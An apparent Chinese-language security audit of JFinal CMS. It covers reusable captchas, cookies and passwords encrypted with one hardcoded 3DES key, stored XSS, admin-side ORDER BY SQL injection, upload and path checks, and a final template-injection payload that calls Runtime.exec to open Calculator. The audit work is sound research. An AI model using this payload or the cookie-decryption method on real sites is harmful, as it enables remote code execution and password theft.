jfinalcms代码审计
环境搭建
- mysql创建好数据库
jfinal_cms/src/main/resources/conf/db.properties
配置好数据库用户名密码等信息- idea设置好maven,根据报错删除重复的依赖
代码审计
注册功能
生成的验证码信息是存在session中,不刷新验证码就可以重复使用,可以进行一些枚举
// 将认证码存入SESSION
request.getSession().setAttribute(ImageCode.class.getName(), sRand);
登录功能
登录成功后发现cookie多了一个字段
找到相关代码,发现是用id+','+password做一个加密作为cookie。(如果是用户名去加密就有机会越权了)
// 设置cookie,用id+password作为
SysUser sysUser = (SysUser) user;
String key = sysUser.getUserid() + "," + user.getStr("password");
String cookieContent = JFlyFoxUtils.cookieEncrypt(key);
setCookie(Attr.SESSION_NAME, cookieContent, 7 * 24 * 60 * 60);
不过还是来看一眼加密流程,flyoffox
的md5为 47a60034d66ad03215198ee78b032a59
,计算出来的key就是47a60034d66ad03215198ee78b032a5947a60034d66ad032
//3des
private static byte[] iv = {1,2,3,4,5,6,7,8};
/**
* 加密key为空
*/
public DES3Utils() {
setkey("flyoffox");
}
private void setkey(String keyStr) {
try {
final MessageDigest md = MessageDigest.getInstance("md5");
final byte[] digestOfPassword = md.digest(keyStr
.getBytes("utf-8"));
final byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
for (int j = 0, k = 16; j < 8;) {
keyBytes[k++] = keyBytes[j++];
}
key = new SecretKeySpec(keyBytes, "DESede");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
发现密码和cookie加密算法是一样的,所以如果能获取cookie是能解密出密码的
public static String passwordEncrypt(String password) {
return des.encryptString(password);
}
public static String cookieEncrypt(String password) {
return des.encryptString(password);
}
个人信息
src/main/java/com/jflyfox/modules/front/controller/PersonController.java
中save方法保存时没有过滤,造成存储xss
重置密码的话SysUser user = (SysUser) getSessionUser();
绑定了会话所以不能越权重置
头像地址不为空的话因为ASE_PATH没设置,所以会导致有头像显示的页面崩溃
>>10:56:51:变量未定义(VAR_NOT_DEFINED):ASE_PATH 位于39行 资源:/template/bbs/includes/userinfo.html
36| if(isEmpty(userPic)){
37| userPic = BASE_PATH + 'static/images/user/user.png';
38| } else if(!strutil.startWith(userPic , 'http')) {
39| userPic = ASE_PATH + userPic;
40| }
41| %>
42| <img id="title_pic" alt="${user.userName }头像" width="64" height="64"
评论功能
评论请求绑定会话、评论内容用了escapeHtml
,看起来没啥问题
// 确认数据创建人和当前用户一致
TbComment test = TbComment.dao.findById(id);
if (test.getInt("create_id") != user.getUserid()) {
json.put("msg", "不能删除他人提交数据!");
renderJson(json.toJSONString());
return;
}
content = StringEscapeUtils.escapeHtml(content);
素材管理
order by
处采取拼接,orderBy
可控
// 排序
String orderBy = getBaseForm().getOrderBy();
if (StrUtils.isEmpty(orderBy)) {
sql.append(" order by sort,id desc");
} else {
sql.append(" order by ").append(orderBy);
}
跟进getOrderBy
发现将两个参数拼接
public String getOrderBy() {
if (StrUtils.isEmpty(getOrderColumn())) {
return "";
}
return " " + getOrderColumn() + " " + getOrderAsc() + " ";
}
搜索.append(orderBy)
看看有没有前台sql注入,发现都是admin或者system目录下的,也就是都是后台的
后台图片上传
com/jfinal/upload/MultipartRequest.java
处有文件的一个判断,如果是jsp(x)就删除,可以想到条件竞争
private boolean isSafeFile(UploadFile uploadFile) {
String fileName = uploadFile.getFileName().trim().toLowerCase();
if (fileName.endsWith(".jsp") || fileName.endsWith(".jspx")) {
uploadFile.getFile().delete();
return false;
}
return true;
}
但是在com/jfinal/core/JFinalFilter.java
处存在拦截,访问就直接404了
if (isHandled[0] == false) {
// 默认拒绝直接访问 jsp 文件,加固 tomcat、jetty 安全性
if (constants.getDenyAccessJsp() && isJsp(target)) {
com.jfinal.kit.HandlerKit.renderError404(request, response, isHandled);
return ;
}
模块管理
文件列表
这里对路径做了正则过滤,并且根路径为webapp
。可能是因为和记一次java代码审计当中的部署方式不一样,数据库等配置文件位置不同,导致该漏洞可用性降低
private String sanitize(String var) {
String sanitized = var.replaceAll("\\<.*?>", "");
sanitized = sanitized.replaceAll("http://", "");
sanitized = sanitized.replaceAll("https://", "");
sanitized = sanitized.replaceAll("\\.\\./", "");
if (sanitized.indexOf("..") >= 0) {
logger.error("[FILE]path error:" + var);
return "";
}
return sanitized;
}
模板注入
template
文件夹找个文件添加payload
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"/System/Applications/Calculator.app/Contents/MacOS/Calculator")}